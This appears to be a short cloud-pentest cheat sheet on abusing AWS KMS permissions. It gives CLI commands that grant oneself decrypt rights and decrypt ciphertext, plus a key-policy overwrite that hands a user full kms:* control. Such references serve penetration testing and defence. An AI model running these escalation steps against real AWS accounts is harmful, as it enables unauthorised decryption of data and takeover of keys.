Key Management Service (KMS)
Abusable AWS KMS permissions that can lead to compromise or privilege escalation
kms:CreateGrant
# create a grant for yourself
aws kms create-grant --key-id <keyId> --grantee-principal <userARN> --operations Decrypt# decrypt data with the grant
aws kms decrypt --grant-tokens <grantToken> --ciphertext-blob <cipherText> --key-id <keyId> --output text --query Plaintext | base64 --decodekms:PutKeyPolicy
# update key policy
aws kms put-key-policy --policy file://key-policy.json --policy-name default --key-id <keyId># sample key policy
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::123456789012:role/root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::123456789012:user/<userName>"
},
"Action": [
"kms:*"
],
"Resource": "*"
}
]
}Last updated